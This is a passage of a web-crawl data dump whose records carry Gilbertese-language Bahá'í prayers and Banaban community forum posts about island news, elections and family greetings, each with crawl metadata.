toki.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=50226050&to=gil","date":"2019-12-13T17:20:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540564599.32\/warc\/CC-MAIN-20191213150805-20191213174805-00263.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":332,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te bubuti ae inano e kona ni warekaki irouia taan reirei ao raao ni katoa bong:\nO Ngkoe te Uea ae akoi! Ko na neboaki bwa Ko a tia ni kaota te kawai ae ineti ibukin te kairiri, ni kauki mataroan abanuea ao ni Kaotiko rinanon Taain te Oioi. Nakon te mataki Ko a tia n anganna te noraba; nakon te bonokau Ko a tia n anganna te ongo; Ko a tia ni kamaiua te mate; Ko a tia ni kaubwaia te kainnano; Ko a tia ni kaota te kawai nakoia ake a tia ni mwaninga nako; Ko a tia ni kairia ake a ure riaia nakon mwanibwan te kairiri; Ko a tia ni kariaia te ika ae takaroro bwa e na roko ni marawan te oioi; ao Ko a tia ni kaoia mannikiba aika tiotionako nakon rootin arokan te nanoanga.\nO Ngkoe te Kabanea ni Korakora! Bon Am toro ngaira aika kananoanga; ti raroa nako ao ti ririkana Menam irarikira, ti bon takaroroa ranin Am mwanibwa, ti aoraki, ti bwarua Am kakamaiu. Ti nakonako inanon Kawaim ma bon akea ara oi ke oin ara kantaninga ma tii kabutanakoan Boiararam, n te aro bwa tamnei ni kabane a na kona n irakea bwanaaia: O te Atua, \"Kairira nakon te kawai ae ineti.\" A bia kaureaki mataia bwa a na nora te oota ao a bia kainaomataaki man rotongitongin te roonnano. A bia ikotaki ni katobibia tauran Am kairiri. A bia taan aki kabwaibwaiaki aikai ni katoaki ma te tibwa. A bia kananoanga aikai n riki n onimakinaki n taekan Kamiimiim.\nO te Kabanea ni Korakora! Taraira ma te mata n nanoanga. Anganiira te kamatoaki ni karawa. Kataua nako aora ikeiken te Tamnei ae Raoiroi, n te aro bwa ti na buokaki inanon ara beku Ibukim ao, n ai aron itoi aika raneanea, kaotai mwakoro n aono aikai ma ootan Am kairiri.\nNi koaua, bon Moan te Mwaaka Ngkoe, te Korakora, te Wanawana ao te Nooraba.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190221080","date":"2019-12-10T20:34:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540528490.48\/warc\/CC-MAIN-20191210180555-20191210204555-00456.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":325,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Atua ae Atuau! Am tabonibai te aine aio e Tabotaboiko, e Onimakiniko, e raira moana Nakoim, ma ni Bubutiiko bwa Ko na kabwaroi Am bwaintituaraoi mai karawa nako aona, ma ni kaotia nakoina Am bwai n tamnei aika a raba, ma ni kaootaa n ootan Aroarom n Atua.\nAu Uea! Kamatairika matan buu te mwaane aio. Ko na kakukureia nanona man ootan Ataakim, Ko na katika ana iango nakon Tamaroam ae oota nako, kabebetea tamneina ni kaotakin Am raneanea aika bati nakoina.\nAu Uea! Taeka nako te rabuna are i matana. Kabwaka ni karau Am bwainaakoi aika a bati nako aona, kamangingia ni wainin Tangiram, karikia bwa temanna mai buakoia Am anera ake a toua aon te aba aio ni waeia, ma tamneia ngkanne a kiba rinanon karawa ake rietakaei. Karikia bwa te taura ae e oota mwaaka, are e oota nako n ootan Wanawanam i buakoia aomata.\nNi koaua, boni Ngkoe te Kakaawaki, te Akitoki n Angaanga, Teuare E Ukuuki Baina.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=70212030&to=gil","date":"2019-12-07T00:34:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540491491.18\/warc\/CC-MAIN-20191206222837-20191207010837-00548.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":163,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kam na mauri riki raora aika a maeka itinanikun Rabi\nTaian Mate\nInanon te bong aei ao e roko te rongorongo ae kananokawaki ba ea motirawa man te maiu aei Barereka Boboua iaon ana kaibuke n akawa. Ena waerake rabatana i Suva nakon te Katenibong. Oin matena e ibeia te maraki inanon ana tai ni makuri ao ea bon raroa naba te O-n-aoraki are ena kona n reke te ibuobuoki nakoina.\nTe Weather i Rambi\nIrarikin naba aei ao ea bon tiba reke te raoi iaon abara ae Rambi imwiin uoua te wiki ni kakarau ao ni mena naba iaan korakoran te ang. A maiti kaain abara aio aika ana nako Suva ibukin kaean aia makuri ao aia reirei ae a bon bae manangaia ibukin korakoran te buaka. A tiba bane ni kaea Suva ngke ea raoi.\nTe Rinerine nakon Te Kauntira\nE bon tabe naba ni waaki te campign irouiia taan kan rineaki nakon te Kauntira. Ao ni bon aroaron te campaign ea bon tabe naba ni kekerake angin te nonobwi irouiia taan campign. N aron ara kakauongo man taian kakaraki ao ngkai aika a tauraoi ni biri naba ibukin te Chairman bon Teatu Rewi (Uma), David Christopher (Tabiang), Bureni Terubea (Tabwewa) ao Paulo Vanualailai (Tabwewa) ngkana a kuba n reke nakon te Kauntira. N aron are Ia tia n taku - a bon tuai man matoa raoi taian rongorongo aikai ni karokoa e tei te list ibukiia taan rineaki.\nAika a boou n ara list ibukin te rinerine mai Tabiang bon Meteka Arouea man te kaintekateka n rorobuaka ao KIbaniman Tutara man te kaintekateka n unimane. Naka uoman aikai a kaatiia kanoan ara list are ti kateia n ara katanoata are nako.\nMwiin te Ukeuke n te Form 4 Rabi High School\nBon te kakukurei ae bati nakoia kaaro ao riki nakoia Tia Reirei ni bane n ikotaki ma aia Principal ibukin aia kekeiaki ataein te Form 4 man ara reirei ae te Rabi High School. Inanon ara kakauongo ao e taekinaki ba ngaia 80% ataei man te Form 4 ae e pass te Fiji Junior Certificate n 2008.\nTao ti anne moa rongorongon abara inanon te tai aei ao n na manga bon reitaki ma ngkami ni waerake ibukin te rinerine iaon abara aei.\nKam raba ao tia bo moa","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/reitan-riki-taian-rongorongo","date":"2019-12-09T20:25:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540523790.58\/warc\/CC-MAIN-20191209201914-20191209225914-00461.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":377,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE TE TITANIA ARE E TEBERAKE MAN TE BUBUNTANO!\nBukin tera tabonibaimi aika a baareka aikai a aki riinga moa oin ami kamwarai, ao bukin tera nanom ae baareka n tangiran te tinanikuba ma te kaibwabwaru e ukoukora te kan itoman ma Ngai ao n rin n Au abanuea ae tabu? Kam bon rangi n raroa, ma n raroa nako ma are kam tangiria.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403690","date":"2019-12-11T15:27:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540531917.10\/warc\/CC-MAIN-20191211131640-20191211155640-00135.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":65,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE AU TORO!\nMoaia aomata bon naake a karekea maiuraoia n aia karekemwane n aia wewete ao a kabanea i bon i bukiia ao i aoia aia utu i bukin Ana tangira Te Atua, Uean aonaaba ni kabane. Te anene ao te Tia Iein te aine ae koro tamaroana aei, ae raba i aan ana rabunanimata te taetae, e a tia ngkai, n Ana raoiroi Te Atua ao Ana kariaia n tamnei, e a tia ni kaotaki n ai aron te oota ae raneanea are e oota nako n tamaroan Teuare E tangiraki. I kaotia ma te koaua, O ngkami raao, bwa te mwakuri n aakoi e a tabwanin raoi, e a koro bukin te kauntaeka, e a kaotaki raoi te kakoaua ma ni kateaki raoi rongorongona nako. E na nooraki ngkai bwa tera ami keiaki i nanon kawain te kamwawaaki are e na kaotaki, N te kawai aei are te mwakuri n aakoi n tamnei e na bwain tangiraki nakoimi ao nakoia ake i karawa ao iaon te aonaaba. Te nebonebo ni kabane nakon te Atua, Uean Aonaaba ni kabane.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403830","date":"2019-12-16T06:50:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00191.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":182,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nN rabunaki i nanon Aroarou ae aki kona n uringaki ao i nanon taai ake ngkoangkoa n aki tootoki n oin Arou, I ataa Au tangira i bukim; ai ngaia are I karikiko, I a tia ni korea i aom Bannau ao ni kaota nakoim Tamaroau.\nBahá'u'lláh","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190401040","date":"2019-12-10T20:29:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540528490.48\/warc\/CC-MAIN-20191210180555-20191210204555-00152.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O Ngkoe te Uea ae Akoi! Ngaira am toro n Atibun Am Mataroa, ae I kamanoai n Am Mataroa ae e Tabu. Ti ukoukora kamanoara man akea riki bwa ti te boua ae e aintoa aio, n aki rairaki nakon te bwai teuana ibukin kamanoau ma bon ti Nakoim ibukin kamanoau. Kamanoira, kakabwaiaira, boutokaira, ao karikiira bwa ti na ti tangira kukurein Nanom, n tabotaboa Kamoamoaakim, n ti ira kawain te koaua, bwa ti aonga ni karekei kaubwaira ae e tau n te aro bwa ti na kaaki bwaai ni kabane bwa ti Ngkoe, ao ni karekei ara bwaintangira man marawan Am akoi, bwa ti aonga ni kekeiaki n taai nako ni karietaata Am Aro ao n tibwatibwai nako boiararan Kukurein Nanom, bwa ti aonga ni mwaninga taekara ao n ti katabeira ma Ngkoe, ao ni kaakeai bwaai ni kabane ao n ti karekerekeira ma Ngkoe.\nO te Tia Katauraoi Bwaai ni kabane, O Ngkoe te Tia Nanoanga! Anganiira Am tituaraoi ao Am tangira n akoi, Am bwaintangira ao Am tibwatibwa, ao kateimatoaira, bwa ti aonga ni karokoira n ara kouru. Bon Ngkoe te Korakora, te Konai bwaai nako, te Ataibwai, te Tia Noori bwaai ni kabane, ao, ni koaua, Bon Ngkoe te Tituaraoi, ao ni koaua, Bon Ngkoe te Kabanea n Nanoanga, ao ni koaua, Bon Ngkoe te Tia Kabwarai Buure, Are Nakoim a na riai ni kabwaraaki bure, Are Ko kabwarai naba buure ake kabanean te rawawata.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=50201180&to=gil","date":"2019-12-06T09:12:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540486979.4\/warc\/CC-MAIN-20191206073120-20191206101120-00070.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":239,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni sa Bula mai Banaba Nou kou uara ao kain abam mae natim ea man te aki reitaki ko anga naba au kamauri nakoia kain am auti ni kabane ko ataia ba antai ae moana te rugby te 15 dec i Rabi.No tia bo moa ao tia manga reitaki. Have a happy New Year\nSure is good to be in contact. Someone told me of this website and I'm glad I join, for now I'm able to meet those I long left behind.\nTime sure do fly for I can see you look old now. In fact you look older than me. Se vacava Bro , sa levu na gunu yagona vaka va lialia?\nMe I ain't have grandchilds yet. I have 4 only offsprings, 3 boys and 1 riki temanna ni girl - Nei Mootii, namesake of the old lady who adopted me. Eldest son is adopted by Toaki so leaving me with 3. Next to him is Mooti then Rauneti and te bukinibero ae Tekateio.\nNow why don't relate your family over. How many kids you have and how many grandchildren?. Are you okokoiko now? Coz thats what people said.\nBro ko tuai man nako nte middle east??????haha tera te news n ami tabo anne???? E uara te moinangkona e bon nako naba e uara maitin niman e bon uarereke naba ke ea bae riki ni kerake ok catch you later loloma to your family\nMaiuri Tui Lautoka,\nKam uara ma am koraki nte Western? E tikraoi ngkai e bon nako naba ami Youth gatherings bwa ai ngaia anne tibwangara bwa te bobota te Roro ni IBanaba nte tabo ike ti maeka iai, ke kanga?\nNao antai moa ana karo Nei Moira? Ena kanga ao tiaki kinaia moaia ataein abara ao are ai katokin te tiku ikeraroa. E kawa te aba kee?\nE tau Ia manga ongora mai ikanne ao koa angania naba am koraki ma kain am auti ara kamauri ae bati mai Oz.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profile\/TongaKarutake","date":"2019-12-09T18:13:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540521378.25\/warc\/CC-MAIN-20191209173528-20191209201528-00247.warc.gz","language":"gil","language_score":0.9732114673,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9732114672660828}","num_words":320,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":0.968,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau, I a tia ni uti i nanon Am katantan, ao I a riki bwa teuare e bubutii katanana ni maeka i nanon Am tabo ni kaawakin ma korakoran Am totoko. Au Uea, kaotaa nanou n raoiroin kanoan Bongin Ataakim n ai aron naba ae Ko kaotaa iai au taratara n ootan ngainan Am aakoi.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=50202010&to=gil","date":"2019-12-07T07:47:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540496492.8\/warc\/CC-MAIN-20191207055244-20191207083244-00017.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":55,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Tute and I know how hot Tarawa can be, especially during Christmas period. Hope you had a great time there with your daughter and family and sounds like they don't want to let you go back. We have Aka, her mum, her daughter and another young Kiribati nurse arriving at our place from Sydney tonight. I think they will be here with us for at least a week.\nTomorrow night in Brisbane at Dan and Teri's we have the Farewell party for Tonga (Beia), Arm and the children as they flight back to Fiji on Saturday morning. Was great to have the family here for Christmas and everyone will miss them from this side of the Pacific.\nWe haven't caught up with Niki in person yet, only over the phone. Hope to catch up with her next time she comes up to Brisbane. She is probably busy now studying for that big exam of hers.\nTha'ts all the latest news from here and the factory is swimming in coconut oil at the moment. A new container arrived here on the Tues of Christmas week. So plenty here at the moment.\nLove to all the family over there in Kiribati... Stacey\nNeiko,\nIa kua n taninga boon au message mai iroum ma ngaia koa manga bon koreia nakoim. Iaki maninga kabiram tebaa ma ko nanganai am phone number n am tabo anne ko mena iai bwa iai tabem ae kona tabena ngkana arona bwa ko kan nako Rabi ao Banaba ba kona raona te manna raora ( te aine) ae te tia koro tamnei (photograhy) ao ni koro rongorongo ibukin ara promotion ibukia ara boota ni IBanaba.\nTaiaoka ma koa reply asap ngkana ereke au message aio iroum. Ao uringa ni koroboki iaon au page.\nmauri teunaine. tera naba gaia koa maga kaoti nte site aio naba... e tau e raba ao ai bon te kamauri nakoia am korki i rabi mai iroura i tailevu no leqa. u maybe surprise ba antai gai.. aio terenga are natin kabua ma tutake..hahaha... nway take care....\nMauri Tute lovely to see you have joined us. Ken fly's out to Fiji tomorrow and will meet up with everyone Friday and over this coming weekend before he heads up to Rabi.\nLove and best wishes to you and all the family back home.\nStacey\nMauri Kaka Tute. Kam uara ma kain ami auti. Ngai ngkai ia oki nako Kiribati imwin bungiu. Ngke ko tareboon ngkoa nakon ana number saunaine ao e bon mena irou te tareboon nte onaoraki i Lautoka. Ti rangi ni marurung raoi ikai ao akea te bwai ae kakaraoaki bwa ai bon ti te makuri naba ao ai okiran naba te auti. Ti ngaia moa mai ikai ao tia manga rereitaki. tia boo moa ao tekeraoi.\nKo na mauri Ken,\nTi bon bane ni marurung raoi ma au koraki n ataei. Ko uara ma Stacey?\nNgkai I mena i Labasa irouia Nikarawa ma. E uara te mwakuri?\nNgkana ko nako mai ao Ia butiko naba bwa koa karekea naba kabirau te bwa ae I ongo bwa e rangi ni boiarara.\nKo rangi n raraba ibukin te reitaki ao au kantaninga bwa e naki toki ikai\nTai mwaninga kabirau te bwa, koa merinna naba nako Labasa\nnakon te Box no. aio. Tute Touakin\nBox 561\nLabasa\nTia bo moa\nTute\nMauri Tute,\nKo uara moa am koraki ikanne? I taku bwa ko tiku naba irouia Ruru mang ma ngaia tao koa roko i Suva ngkai? Ngaira ikai akea te bwai ae e iangoaki bwa bon ti te mwakuri naba ni katoa bong. Na nako Biti nte kaabong aei ao naoki nte 20th june. 2 tabun au wiiki ikanne.\nIa kaongoraeko bukin mwanangau ngkana tao arona bwa ti kaitibo i Suva nte Banaba house ke tao nte Suva market.\nAnyway welcom aboard Banaban voice and hope you will enjoy yourself as member.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profile\/TuteTouakin","date":"2019-12-10T23:42:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540529516.84\/warc\/CC-MAIN-20191210233444-20191211021444-00129.warc.gz","language":"gil","language_score":0.9937404394,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.993740439414978}","num_words":645,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE ATATAIAOMATA O!\nMan rereuan te aakea, ao ma tanon Au kaetieti are I karaoiko n oti, ao I a tia ni kataua i bukin kataneiaakim n taian 'atom' aika a maiu ao oioin bwaai ni kabane ake a karikaki. Ngaia are, ko a tia n riki iai man biroton tinam, I kataua i bukim uoua boton te miriki ae raitiiti, maata bwa a na tantaniiko ao naano bwa a na tangiriko. Man Au tangira n aakoi, i aan nuun Au nanoanga are I kaikawaiko, ao ni kaawakiniko n oioin Au raoiroi ao Au mwannano. Ao bukin karaoan aei Irou bwa ko aonga ni karekea Au tautaeka ae akea tokina ao ko na riki n tau ni koaua i bukin Au bwaintuaraoi aika a aki nooraki. Ao ko bon teimatoa n tiku n aki tatabeakin, ao ngke ko a ikawai raoi, ko a kaaki taekan Au kakabwaia ni kabane ao ko a katabeko ma iango ni katautau aika akea nanoia, ao n te aro anne are ko a mwamwaninga nako, ao, n rairaki nako man Ana mataroa nakon te Rao are e mamaeka i nanon ana botaki nako Au kairiribai.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403300","date":"2019-12-06T04:22:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484477.5\/warc\/CC-MAIN-20191206023204-20191206051204-00333.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":191,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri mani banan Kiribati te boboto au kantaninga ba kobon nang marurung raoi ma kain am auti ni kabane ao e nag rb rk te reitaki iaon te Banaban Voice aio ngkai e kona ni karekeaki i bukira ngaira te nati ni Banaba .Ngaira ikai ti bon marurung raoi , ao I a butiko naba bwa ko kona ni karekea buokau mai ikanne bwa I kan reitaki matemanatia n te rabi kava .Tao ti ngaia moa ara rongorongo mai ikai ao bon te kamauri nakoia buum ma natim ni kabane .Tekeraoi te waki ao tia boo moa\nMauri James\nBon te kataninga b'a buti raoi waaki inanoun am makuri ma utu. ikai ti bon bane naba ni marurung ma Bernard (Jnr), Nanoua ma raou ae Nei Puanita. I nanoun te weekend ae nako ao te Moanibong aei ao bo ngaira ma Maruia, ana karua Temate. E raoiroi b'a ea karaki nakoim Maruia aron ara choir ikai ngkana kam kaitibo nte Rabi Kava ngke ana Kava stall Ribua. Ko angania naba kain Rabi Kava au kamauri ma kain ana choir Ribua naba au kamauri mai ikai.\nTao tia manga kaitbo riki rimwinte site aio.\nNou mauri,\nA uara am koraki. Ngaira mai ikai ti bon bane ni marurung. E uara ami choir nte Rabi Kava. E bon nako naba kain te nangkona ikai ma te choir irouia kain ara kirabu ikai. Tau, ko angania am koraki ara kamauri ma ara katekeraioi. Angania naba kain te Rabi Kava au kamauri. Tia bo moa.\nAtabi","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profile\/JamesKarakaua","date":"2019-12-06T17:50:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540490743.16\/warc\/CC-MAIN-20191206173152-20191206201152-00005.warc.gz","language":"gil","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.000000238418579}","num_words":251,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.231,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hey Sister Praise the Lord.E raba te Uea n te marurunga.Riam e kaongoai ba am Talatala Rev Maci.give my regards to him and the family ao anganna au email address . [email@example.com] aio.Ko raba God bless you ,family Tia bo.\nBrother in Christ.\nPs Ieuti Rukio\nmauri!! radini here ..............we are fine and well.........i just gave birth,,,,,,baby boy 3 wks now ..........ohhhhhh and tala2 still schooling ..........befinish next month......graduate 26 of Nov.............will c if we can cum... then ill tell u...........tiapo bmoa!!!! and bless u\nHey saw your Rabi trip pics.....wow you guys are lucky to be there...mmmm how we wish we could be there 2 to witness te bare te bimanimaua arei LOL. but it's ok we still kamatoa naba ana bong BANABA mai ikai. Hey ena tekeraoi te ririki aio ma kanoana ao ai iriana ana kakabaia te Uea iaora n tatabemanira nako.\nLove to your family and take care.\nhahaha hey mauri moa te ririki ae boou aio...sshh konang bakan tang iroia maneu ker,tau bon am bure anne iroia ngkana akimoa buum hahahaha... eang ngai ngkai i mena i new zealand ao i roko ikai 2006 ma enang kaebu te tabo aio ba enang kamaitorotoro ma ti tekeraoi teutana ngkai ba ea spring...kanga akea moa rongo2n ikai tao erawata riki rongo2n am tabo anne...koa manga reitia ma ikanne ngkana e reke am tai... ao tau ma koa angania naba natim ao buum ao ai kain am auti au kamauri nte ririki ae boou aio...tekeraoi te makuri nte ririki ae boou aio..\nmauri keang isa...koa tara ni bubura ke tera koa bon kakana ikane?hahahaha...ngkai ko mena iara?iraman ngkai natin sshh iuringa kesukesu ngkai inora tamaim hahaha ao ngkoe koa angania kain am auti au kamauri\ntia manga ongora iroum ni mawan am tai\nMauri sis,\nKo uara ma am family? E raraba te comment. Yes, I was really shocked when we chat and u just went offline. Anyway, tao tiaki moa taina keeeeeee.Sis, ko a check am gmail ba iai au mail are i send nakoim concerning te parcel are kona send ba e a reke te aomata ae e na uotia.\nSis, antai ana photo arei? Is it Mita and his wife???? Antai aran ana wife ao kain te kawa ra?\nE tau ma tia bo moa ao ia ogora iroum kerrrrrrr.\nhei sis am so sorry..i aki ataia ba ko online nte gmail..i taku ngkai\nba kona online nte Banaban voice...\nanyway tao tia bon maga bo ni ngabong.Ao taiaoka ko kona n kavaekoa au bai are i tuangko..Birth certificate..ba i rang kainanoia b4 next wk.\nAo koa taiaoka naba ba ngkana ko send ina mai au birth certificate..koa send nakon au gmail add..firstname.lastname@example.org ao te gmail naba anne email@example.com nte aro ae na reke i rou nte tai ae waekoa..Coz on Monday next week..ia nako nakon te immigration..so those people need my birth certificate at that time..\nso am looking forward to receive that within this week..so plizzz\ncan yu just work on it..taiaoka\ntao ia bon manga ogoogora i roum\ntiabo moa\nGod Bless\nAt 12:54pm on September 24, 2009, Riam.Tuari said…\nMauri sis,\nKo uara ma am family? We chat yesterday and u just went offline.What's wrong? Anyway, so sad to hear about kaka Baeba. Well, dat's life, everyone has to go thru that. We just have to prepare ourselves coz we dont know our time eh!!\nI heard that Mita got married lately. Is it true? Let me know his wife's name.\nHope to hear from u soon.\nNeiko ko raba e rangi n marurung raoi ao ngkai ae ti kakatauraoi imain ana birthday n 1st of Oct. Ai ngaia ae ia kakabanetai iaon te internet n tataninga tian karaoan au motirawa. Ai ngaia ea manga rangi ni kamaitoro ikanne better tell your hubby to sign off man ana makuri bwa ena kabueko moa. Wat say!!!!!!! Regards to to your kids ao kainabam. Tia boo and stay in touch\nbula mai kanne !!!! know gud to know u ok!!!am married to tento from nuku natin pate kokina that like that luky one your hubby miss it Haa!!!!ha!!!!ha!!!!!any way tiba iein nte december so no kids about to n for you all da best be happy coz that the gift..kekaga know for me am trying but i know that the lord will know the right time kekang tounaine!!!! ke sis!!!!isa thax for your kinai ok not much so pliz do keep in touch...\nbye!!!!\nlol to my luvena n tamadra!!!!\nsabo sis!!!\nSis mauri.News mai Kiribati,temanna te aomata ae te tia tiritiri ioan ana bai n riaboro,maitin konana 32 aomata,ao ngke e nangi mate ao e na makina buen rabatana n te aii,ao e tuangia kain ana utu ba anaki tauna iaon tano ma ana kateia,ba e maka buen rabatana n te aii.\nSis nanona ba bon iai te aii are e katauraoia te Atua imaira.Kekeiaki ma Bum ba iai mwengaia tan onimaki iroun Iesu e katauraoia.kee\nTi a bo moa,Tekeraoi iroun te Uea.Give my regards to your family.God bless.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profile\/KeangFox?xg_source=profiles_memberList","date":"2019-12-14T18:13:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541288287.53\/warc\/CC-MAIN-20191214174719-20191214202719-00225.warc.gz","language":"gil","language_score":0.9383142591,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9383142590522766, \"sps_Latn_score\": 0.011161057278513908}","num_words":828,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":0.913,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon aio are a tia n ruo man te Abanuea ae mimitong, are e taekinaki n te newe ae mwaaka ma ni korakora, ao e kaotiotaki nakoia Burabeti ake ngkoa. Ti a tia n anaa koauan nanona mai iai ao ti niniria n te niira ae kimototo, bwa kanga te taeka n aakoi nakoia taan toua te eti, bwa aonga n tei ni kakaonimaki nakon Ana Boraraoi Te Atua, ao ni kona ni kokoroi bukin onimakinaia Irouna ni maiuia, ao i nanon te abanuea n tamnei bon karekean te atiibu ae kakaawaki ae te Aroaro ni 